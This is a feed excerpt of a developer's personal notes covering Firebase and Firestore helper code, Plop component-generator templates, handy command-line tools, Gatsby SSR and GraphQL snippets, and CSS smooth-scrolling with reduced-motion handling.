const FIREBASE_CONFIG = {
  apiKey: &apos;{api key}&apos;,
  authDomain: &apos;{authDomain}&apos;,
  databaseURL: &apos;{databaseURL}&apos;,
  projectId: &apos;{app name}&apos;,
  storageBucket: &apos;{storageBucket}&apos;,
  messagingSenderId: &apos;{messagingSenderId}&apos;,
  appId: &apos;{appId}&apos;,
  measurementId: &apos;{measurementId}&apos;,
}

firebase.initializeApp(FIREBASE_CONFIG)

export const auth = firebase.auth()
export const firestore = firebase.firestore()
export const functions = firebase.app().functions(&apos;europe-west2&apos;) // set the region globally

export { firebase }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Hosting&lt;/h3&gt;
&lt;p&gt;https://firebase.google.com/docs/hosting/full-config&lt;/p&gt;
&lt;h2&gt;Functions&lt;/h2&gt;
&lt;p&gt;https://firebase.google.com/docs/hosting/functions#direct_hosting_requests_to_your_function
https://github.com/firebase/functions-samples/issues/395#issuecomment-635445763
https://firebase.google.com/docs/functions/callable
Testing functions: https://firebase.google.com/docs/functions/local-shell#invoke_https_callable_functions&lt;/p&gt;
&lt;h2&gt;Firestore&lt;/h2&gt;
&lt;p&gt;Various Firestore helpers and utils to make our lives easier&lt;/p&gt;
&lt;h2&gt;Firestore helpers&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;firestoreDataPoint&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This helper function exposes a &apos;typed&apos; version of &lt;code&gt;firestore().collection(collectionPath)&lt;/code&gt;. Pass it a collectionPath string as the path to the collection in firestore. Pass it a type argument representing the &apos;type&apos; (schema) of the docs in the collection&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { firestoreDataPoint } from &apos;./utils&apos;

firestoreDataPoint&amp;lt;FirestoreUser&amp;gt;(&apos;users&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Document helpers&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;firestoreUser&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Returns reference to that user&apos;s Firestore document. Can then be used to &lt;code&gt;.get()&lt;/code&gt; or &lt;code&gt;.set()&lt;/code&gt; data for that document.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This uses &lt;code&gt;firestoreDataPoint&lt;/code&gt; internally&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;import { firestoreUser } from &apos;./utils&apos;

firestoreUser(&apos;xyz123&apos;).get()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;import { firebase, firestore } from &apos;../../config&apos;
import { FirestoreUser } from &apos;../../types/firestore.models&apos;

/**
 * @name firestoreConverter
 * @description This helper function pipes your types through a firestore converter
 */
export const firestoreConverter = &amp;lt;
  T
&amp;gt;(): firebase.firestore.FirestoreDataConverter&amp;lt;T&amp;gt; =&amp;gt; ({
  toFirestore: (data: Partial&amp;lt;T&amp;gt;) =&amp;gt; data,
  fromFirestore: (snap: firebase.firestore.QueryDocumentSnapshot) =&amp;gt;
    snap.data() as T,
})

/**
 * @name firestoreDataPoint
 * @param collectionPath e.g. &apos;users&apos;
 * @description This helper function exposes a &apos;typed&apos; version of firestore().collection(collectionPath)
 * Pass it a collectionPath string as the path to the collection in firestore
 * Pass it a type argument representing the &apos;type&apos; (schema) of the docs in the collection
 */
export const firestoreDataPoint = &amp;lt;T&amp;gt;(
  collectionPath: string
): firebase.firestore.CollectionReference =&amp;gt; {
  return firestore
    .collection(collectionPath)
    .withConverter(firestoreConverter&amp;lt;T&amp;gt;())
}

/**
 * @name firestoreUser
 * @param uid {string} e.g. a user&apos;s UID
 * @returns reference to that user&apos;s Firestore document
 */
export const firestoreUser = (uid: string) =&amp;gt;
  firestoreDataPoint&amp;lt;FirestoreUser&amp;gt;(&apos;users&apos;).doc(uid)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;import { useEffect, useState } from &apos;react&apos;
import { useUserContext } from &apos;../providers&apos;
import { FirestoreUser } from &apos;../types/firestore.models&apos;
import { firestoreUser } from &apos;../utils&apos;

/**
 * @name useFirestoreUserData
 * @description Returns all user data from Firestore
 */
export const useFirestoreUserData = (): FirestoreUser | undefined =&amp;gt; {
  const { uid } = useUserContext()
  const [userInfo, setUserInfo] = useState&amp;lt;FirestoreUser | undefined&amp;gt;()

  useEffect(() =&amp;gt; {
    if (uid) {
      firestoreUser(uid)
        .get()
        .then((doc) =&amp;gt; {
          if (doc.exists) {
            console.log(&apos;User Document data:&apos;, doc.data())
            setUserInfo(doc.data() as FirestoreUser)
          } else {
            // doc.data() will be undefined in this case
            console.log(&apos;No such document!&apos;)
          }
        })
        .catch((error) =&amp;gt; {
          console.log(&apos;Error getting document:&apos;, error)
        })
    }
  }, [uid])

  return userInfo
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>services</category><category>api</category><author>Zander Martineau</author></item><item><title>Plop</title><link>https://zander.wtf/notes/plop/</link><guid isPermaLink="true">https://zander.wtf/notes/plop/</guid><description>plopfile.js Component generator ./generate/component/index.js ./generate/component/templates/index.hbs ./generate/component/templates/component.hbs…</description><pubDate>Mon, 12 Jul 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;&lt;code&gt;plopfile.js&lt;/code&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const generateComponent = require(&apos;./generate/component&apos;)
const generatePage = require(&apos;./generate/page&apos;)
const generateIcon = require(&apos;./generate/icon&apos;)
const generateUtil = require(&apos;./generate/util&apos;)
const generateHook = require(&apos;./generate/hook&apos;)

module.exports = function (plop) {
  plop.setHelper(&apos;obj&apos;, (text) =&amp;gt; `{{ ${text} }}`)
  plop.setHelper(&apos;propsHelper&apos;, (text) =&amp;gt; `{${text}}`)

  plop.setGenerator(&apos;component&apos;, generateComponent)
  plop.setGenerator(&apos;page&apos;, generatePage)
  plop.setGenerator(&apos;icon&apos;, generateIcon)
  plop.setGenerator(&apos;util&apos;, generateUtil)
  plop.setGenerator(&apos;hook&apos;, generateHook)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Component generator&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;./generate/component/index.js&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;module.exports = {
  description: &apos;Generates new React component&apos;,
  prompts: [
    {
      type: &apos;input&apos;,
      name: &apos;name&apos;,
      message: &quot;What&apos;s the name of the Component?&quot;,
      validate: function (value) {
        let message = true
        if (!/.+/.test(value)) {
          message = console.error(&apos;Missing&apos;, &apos;you must define a component name&apos;)
        } else if (value.length &amp;lt; 3) {
          message = console.error(
            &apos;Too Short&apos;,
            `&quot;${value}&quot; is not descriptive enough`
          )
        }
        return message
      },
    },
  ],
  actions: function () {
    return [
      {
        type: &apos;add&apos;,
        path: &apos;src/components/{{pascalCase name}}/index.ts&apos;,
        templateFile: &apos;./generate/component/templates/index.hbs&apos;,
      },
      {
        type: &apos;add&apos;,
        path: &apos;src/components/{{pascalCase name}}/{{pascalCase name}}.tsx&apos;,
        templateFile: &apos;./generate/component/templates/component.hbs&apos;,
      },
      {
        type: &apos;add&apos;,
        path: &apos;src/components/{{pascalCase name}}/{{pascalCase name}}.stories.tsx&apos;,
        templateFile: &apos;./generate/component/templates/story.hbs&apos;,
      },
      {
        type: &apos;add&apos;,
        path: &apos;src/components/{{pascalCase name}}/{{pascalCase name}}.test.tsx&apos;,
        templateFile: &apos;./generate/component/templates/test.hbs&apos;,
      },
      {
        type: &apos;add&apos;,
        path: &apos;src/components/{{pascalCase name}}/{{pascalCase name}}.docs.mdx&apos;,
        templateFile: &apos;./generate/component/templates/docs.hbs&apos;,
      },
      {
        type: &apos;modify&apos;,
        path: &apos;src/components/index.ts&apos;,
        pattern: /(\/\* -- component: insert above here -- \*\/)/gi,
        template: `export { {{pascalCase name}} } from &apos;./{{pascalCase name}}&apos;\n$1`,
      },
    ]
  },
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;./generate/component/templates/index.hbs&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;export { {{pascalCase name}} } from &apos;./{{pascalCase name}}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;./generate/component/templates/component.hbs&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import React from &apos;react&apos; import { ThemeUIStyleObject, Box } from &apos;theme-ui&apos;
export interface
{{pascalCase name}}Props { sx?: ThemeUIStyleObject // children: ReactNode }
export const
{{pascalCase name}}
= ({ sx }:
{{pascalCase name}}Props): JSX.Element =&amp;gt; { return (
&amp;lt;Box sx={{obj &apos;...sx&apos;}}&amp;gt;
  &amp;lt;Box&amp;gt;{{name}}&amp;lt;/Box&amp;gt;
&amp;lt;/Box&amp;gt;
) }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;./generate/component/templates/docs.hbs&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# {{pascalCase name}}

```js
import { {{pascalCase name}} } from &apos;./components&apos;
```

```tsx
&amp;lt;{{pascalCase name}}&amp;gt;Some content&amp;lt;/{{pascalCase name}}&amp;gt;
```
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;./generate/component/templates/story.hbs&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import React from &apos;react&apos;
import { Story, Meta } from &apos;@storybook/react/types-6-0&apos;
import { {{pascalCase name}}, {{pascalCase name}}Props } from &apos;./{{pascalCase name}}&apos;
import docs from &apos;./{{pascalCase name}}.docs.mdx&apos;

export default {
  title: &apos;Components/{{pascalCase name}}&apos;,
  component: {{pascalCase name}},
  parameters: {
    docs: { page: docs },
    // paddings: [],
    /* backgrounds: {
      default: &apos;white&apos;,
    },*/
  },
} as Meta

const Template: Story&amp;lt;{{pascalCase name}}Props&amp;gt; = (args) =&amp;gt; &amp;lt;{{pascalCase name}} {...args} /&amp;gt;

export const Standard = Template.bind({})
Standard.args = {

}

/* Standard.decorators = [
  (Story) =&amp;gt; (
    &amp;lt;Box sx={{{ obj &quot;color: &apos;bright&apos;&quot; }}}&amp;gt;
      &amp;lt;Story /&amp;gt;
    &amp;lt;/Box&amp;gt;
  ),
]*/
/* Standard.parameters = {
  backgrounds: {
    default: &apos;blue&apos;,
  },
}*/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;./generate/component/templates/test.hbs&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import React from &apos;react&apos;
import { render } from &apos;@testing-library/react&apos;
import { {{pascalCase name}} } from &apos;./{{pascalCase name}}&apos;

describe(&apos;Given a {{pascalCase name}} component&apos;, () =&amp;gt; {
  describe(&apos;when it is rendered&apos;, () =&amp;gt; {
    it(&apos;should match the snapshot&apos;, () =&amp;gt; {
      const { container } = render(&amp;lt;{{pascalCase name}} /&amp;gt;)
      expect(container.firstChild).toMatchSnapshot()
    })
  })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Other resources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/react-boilerplate/react-boilerplate/tree/master/internals/generators&lt;/li&gt;
&lt;li&gt;https://github.com/fabien0102/gatsby-starter/tree/master/generators&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Alternatives to Plop&lt;/h2&gt;
&lt;p&gt;https://github.com/busterc/microgen&lt;/p&gt;
</content:encoded><category>devops</category><author>Zander Martineau</author></item><item><title>Command line tools</title><link>https://zander.wtf/notes/command-line-tools/</link><guid isPermaLink="true">https://zander.wtf/notes/command-line-tools/</guid><description>Keyboard shortcuts ctrl-r - Search previously used commands ctrl-t - Invoke FZF fuzzy file finder (see below) ctrl-l - Clear the terminal screen ctrl-k -…</description><pubDate>Mon, 15 Feb 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Keyboard shortcuts&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ctrl-r&lt;/code&gt; - Search previously used commands&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ctrl-t&lt;/code&gt; - Invoke &lt;em&gt;FZF&lt;/em&gt; fuzzy file finder (see below)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ctrl-l&lt;/code&gt; - Clear the terminal screen&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ctrl-k&lt;/code&gt; - Clears the terminal screen but no-scroll back. Basically wipes the&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ctrl-w&lt;/code&gt; - Cut one word backwards using white space as delimiter&lt;/li&gt;
&lt;li&gt;&lt;code&gt;esc-t&lt;/code&gt; - Swap the last two words before the cursor&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Commands&lt;/h2&gt;
&lt;h3&gt;cal&lt;/h3&gt;
&lt;p&gt;Show a calendar&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ cal
   February 2020
Su Mo Tu We Th Fr Sa
                   1
 2  3  4  5  6  7  8
 9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;date&lt;/h3&gt;
&lt;p&gt;Show the date&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ date
Sat  7 Sep 2019 09:22:28 BST
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;tree&lt;/h3&gt;
&lt;p&gt;Show directory contents as a tree&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ tree -L 1
.
├── README.md
├── example
├── gatsby-theme-code-notes
├── node_modules
├── package.json
└── yarn.lock
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;List global packages&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# with yarn
❯ yarn global list

# with npm
❯ npm -g ls --depth=0
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Flush DNS cache&lt;/h3&gt;
&lt;h4&gt;1. Clear OS-level DNS cache&lt;/h4&gt;
&lt;p&gt;On Mac OS, run this in the terminal:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo dscacheutil -flushcache;sudo killall -HUP mDNSResponder
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On Windows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ipconfig /flushdns
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2. Clear DNS cache via Chrome&lt;/h4&gt;
&lt;p&gt;Go to chrome://net-internals/#dns and click Clear host cache.&lt;/p&gt;
&lt;p&gt;This button sounds like it should clear the OS-level cache, but my experience just doing this isn&apos;t enough by itself.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h4&gt;3. Close existing server connections&lt;/h4&gt;
&lt;p&gt;Go to chrome://net-internals/#sockets and click Flush socket pools.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Then reload the page you&apos;re testing and you should see the DNS lookup again, as well as the time spent on establishing the TCP connection.&lt;/p&gt;
&lt;h2&gt;Custom packages&lt;/h2&gt;
&lt;h3&gt;Autojump&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/wting/autojump&quot;&gt;https://github.com/wting/autojump&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;autojump is a faster way to navigate your filesystem. It works by maintaining a
database of the directories you use the most from the command line.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ j code
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;exa&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/ogham/exa&quot;&gt;https://github.com/ogham/exa&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A modern version of &lt;code&gt;ls&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ exa -l
❯ exa -T -L 2 # like tree
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;FZF&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/junegunn/fzf&quot;&gt;https://github.com/junegunn/fzf&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Fuzzy find files. Use &lt;code&gt;ctrl+t&lt;/code&gt; to access it&lt;/p&gt;
&lt;h3&gt;serve&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/zeit/serve&quot;&gt;https://github.com/zeit/serve&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Static file serving and directory listing&lt;/p&gt;
&lt;h3&gt;emma&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/maticzav/emma-cli&quot;&gt;https://github.com/maticzav/emma-cli&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Search for npm packages. Run &lt;strong&gt;emma&lt;/strong&gt; to initialise the search, then enter your search criteria&lt;/p&gt;
&lt;h3&gt;ibrew&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/mischah/ibrew&quot;&gt;https://github.com/mischah/ibrew&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Interactive search CLI for Homebrew&lt;/p&gt;
&lt;p&gt;Run &lt;code&gt;ibrew&lt;/code&gt; to initialise the search, then enter your search criteria&lt;/p&gt;
&lt;h3&gt;yalc&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/whitecolor/yalc&quot;&gt;https://github.com/whitecolor/yalc&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Work with yarn/npm packages locally like a boss.&lt;/p&gt;
&lt;h3&gt;hub&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://hub.github.com/&quot;&gt;https://hub.github.com/&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# clone one of your GitHub repos
❯ hub clone dotfiles
# Same as → git clone git://github.com/YOUR_USER/dotfiles.git

# clone another project&apos;s repo
❯ hub clone github/hub
# → git clone git://github.com/github/hub.git

# open the current project&apos;s issues page
❯ hub browse -- issues
# → open https://github.com/github/hub/issues

# open another project&apos;s wiki
❯ hub browse mojombo/jekyll wiki
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;List the current repo&apos;s PRs&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# this is an alias
alias prs &apos;hub pr list -L 20 -b develop --format=&quot;%t%n - Branch: [%H]%n - %U%n - %l%n%n&quot;&apos;
# e.g. ❯ prs
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Create a branch and switch to it&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# FYI This is a fish shell function
function branch
  git branch {$argv} &amp;amp;&amp;amp; git checkout {$argv}
end
# e.g. ❯ branch feature/WL-88-hello
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;standup&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/kamranahmedse/git-standup&quot;&gt;https://github.com/kamranahmedse/git-standup&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Shows a list of commits for the past 24 hours&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ standup
/Users/zander/code/fairfx/fx-holiday-money-app
5315f033 - build(multi): HM-925 Improve perf for a couple of pages (16 hours ago) &amp;lt;Zander Martineau&amp;gt;
4b41c048 - index on feature/HM-925-improve-performance:
1b854d84 fix(ci): AWS-99 Remove builds/deployments associated (#845) (17 hours ago) &amp;lt;Zander Martineau&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;cross-port-killer&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/milewski/cross-port-killer&quot;&gt;https://github.com/milewski/cross-port-killer&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Kill a process running on a particular port&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ kill-port 9001
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;doctoc&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/thlorenz/doctoc&quot;&gt;https://github.com/thlorenz/doctoc&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Generated markdown table of contents&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ doctoc README.md --github
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;fx&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/antonmedv/fx&quot;&gt;https://github.com/antonmedv/fx&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Command-line JSON processing tool&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ fx package.json
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;jq&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://stedolan.github.io/jq/&quot;&gt;https://stedolan.github.io/jq/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;jq is like &lt;code&gt;sed&lt;/code&gt; for JSON data - you can use it to slice and filter and
map and transform structured data with the same ease that &lt;code&gt;sed&lt;/code&gt;, &lt;code&gt;awk&lt;/code&gt;,
&lt;code&gt;grep&lt;/code&gt; and friends let you play with text.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# use jq to extract just the first commit from a repos list
❯ curl &apos;https://api.github.com/repos/stedolan/jq/commits?per_page=5&apos; | jq &apos;.[0]&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;npq&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/lirantal/npq&quot;&gt;https://github.com/lirantal/npq&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Safely* install packages with npm or yarn by auditing them as part of your install process&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# with npm ❯ npq install express # with yarn, set an alias like so:alias npq=&quot;NPQ_PKG_MGR=yarn npq-hero&quot;
❯ npq add express
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;youtube-dl&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://youtube-dl.org/&quot;&gt;https://youtube-dl.org&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# install
❯ brew install youtube-dl
# use
❯ youtube-dl d2qfa3tlgH8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;https://blog.balthazar-rouberol.com/text-processing-in-the-shell&lt;/p&gt;
</content:encoded><category>cli</category><author>Zander Martineau</author></item><item><title>Gatsby</title><link>https://zander.wtf/notes/gatsby/</link><guid isPermaLink="true">https://zander.wtf/notes/gatsby/</guid><description>gatsby-ssr.js The APIs wrapPageElement and wrapRootElement exist in both the SSR and browser APIs. If you use one of them, consider if you should implement…</description><pubDate>Tue, 19 Jan 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;&lt;code&gt;gatsby-ssr.js&lt;/code&gt;&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The APIs wrapPageElement and wrapRootElement exist in both the SSR and browser APIs. If you use one of them, consider if you should implement it in both &lt;code&gt;gatsby-ssr.js&lt;/code&gt; and &lt;code&gt;gatsby-browser.js&lt;/code&gt; so that pages generated through SSR with Node.js are the same after being hydrated with browser JavaScript.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;&lt;code&gt;wrapRootElement&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This is where Providers would be setup, think Redux etc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// gatsby-browser.js
const React = require(&apos;react&apos;)
const { Provider } = require(&apos;react-redux&apos;)

const createStore = require(&apos;./src/state/createStore&apos;)
const store = createStore()

exports.wrapRootElement = ({ element }) =&amp;gt; {
  return &amp;lt;Provider store={store}&amp;gt;{element}&amp;lt;/Provider&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;More info &lt;a href=&quot;https://www.gatsbyjs.org/docs/browser-apis/#wrapRootElement&quot;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;https://www.gatsbyjs.com/docs/reference/config-files/gatsby-ssr&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;onRenderBody&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;export const onRenderBody = ({ setHeadComponents }) =&amp;gt; {
  setHeadComponents([
    /**
     * Preload font assets and via SSR to prevent FLOUT (Flash of Unstyled Text)
     */
    &amp;lt;link
      key=&quot;Font-Preload--Venti-Bold&quot;
      rel=&quot;preload&quot;
      href=&quot;/fonts/stage-1/VentiCF-Bold--stage1.woff2&quot;
      as=&quot;font&quot;
      type=&quot;font/woff2&quot;
      crossOrigin=&quot;anonymous&quot;
    /&amp;gt;,
  ])
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;GraphQL&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.gatsbyjs.org/docs/graphql-reference&quot;&gt;Gatsby GraphQL reference&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Group deeply nested fields together&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import { graphql, useStaticQuery } from &apos;gatsby&apos;

export const useAllTags = () =&amp;gt; {
  const data = useStaticQuery(graphql`
    {
      allMdx {
        tags: group(field: frontmatter___tags) {
          tag: fieldValue
          totalCount
        }
      }
    }
  `)

  return data
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Output&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;data&quot;: {
    &quot;allMdx&quot;: {
      &quot;tags&quot;: [
        {
          &quot;tag&quot;: &quot;css&quot;,
          &quot;totalCount&quot;: 4
        },
        {
          &quot;tag&quot;: &quot;devops&quot;,
          &quot;totalCount&quot;: 1
        },
        {
          &quot;tag&quot;: &quot;git&quot;,
          &quot;totalCount&quot;: 1
        },
        {
          &quot;tag&quot;: &quot;graphql&quot;,
          &quot;totalCount&quot;: 1
        }
      ]
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Graphql untagged&lt;/h3&gt;
&lt;p&gt;Given &lt;code&gt;frontmatter&lt;/code&gt; like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
title: Gatsby
tags:
  - react
  - graphql
---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;or this&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
title: Gatsby
---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then query for items that &lt;strong&gt;don&apos;t&lt;/strong&gt; have tags set&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;query MyQuery {
  allMdx(filter: { frontmatter: { tags: { eq: null } } }) {
    edges {
      node {
        id
        frontmatter {
          title
          tags
        }
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Misc&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/jlengstorf/gatsby-theme-jason-blog/blob/58e67d9e5c1691654185ebdffdc6f01ac7cbb791/src/components/SEO/SEO.js&quot;&gt;SEO component&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/jlengstorf/gatsby-theme-jason-blog/blob/58e67d9e5c1691654185ebdffdc6f01ac7cbb791/src/components/SEO/SchemaOrg.js&quot;&gt;Schema.org component&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>react</category><category>graphql</category><author>Zander Martineau</author></item><item><title>CSS scroll-behavior</title><link>https://zander.wtf/notes/css-scroll-behaviour/</link><guid isPermaLink="true">https://zander.wtf/notes/css-scroll-behaviour/</guid><description>The scroll-behavior property The scroll-behavior property tells the browser how to handle scrolling to anchor links within an element. The default value,…</description><pubDate>Sat, 16 Jan 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;The scroll-behavior property&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;scroll-behavior&lt;/code&gt; property tells the browser how to handle scrolling to anchor links within an element.&lt;/p&gt;
&lt;p&gt;The default value, &lt;code&gt;auto&lt;/code&gt;, does a hard jump like you’re used to. A value of &lt;code&gt;scroll&lt;/code&gt; tells the browser to animate scrolling. There’s no way to specify easing, but it ties into the browser’s refresh rate to give you silky smooth animations.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Enable smooth scrolling on the whole document
 */
html {
  scroll-behavior: smooth;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://codepen.io/cferdinandi/pen/MWwvPJZ&quot;&gt;Here’s a demo&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;You can restrict it to specific elements if you want.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Enable smooth scrolling on the #be-cool element
 */
#be-cool {
  scroll-behavior: smooth;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And if you want to disable it when someone uses their browser&apos;s &quot;Find in page&quot; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;html:focus-within {
  scroll-behavior: smooth;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Accessibility concerns&lt;/h2&gt;
&lt;p&gt;Animations can cause issues for users who suffer from motion sickness and other conditions.&lt;/p&gt;
&lt;p&gt;Fortunately, Windows, macOs, iOS, and Android all provide a way for users to specify that they prefer reduced motion. And all modern browsers (but not IE) provide a way to check for that setting in both CSS and JavaScript.&lt;/p&gt;
&lt;p&gt;When using &lt;code&gt;scroll-behavior&lt;/code&gt;, you should add a &lt;code&gt;@media&lt;/code&gt; check for prefers-reduced-motion: reduce, and revert to the default auto.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Disable smooth scrolling when users have prefers-reduced-motion enabled
 */
@media screen and (prefers-reduced-motion: reduce) {
  html {
    scroll-behavior: auto;
  }
}
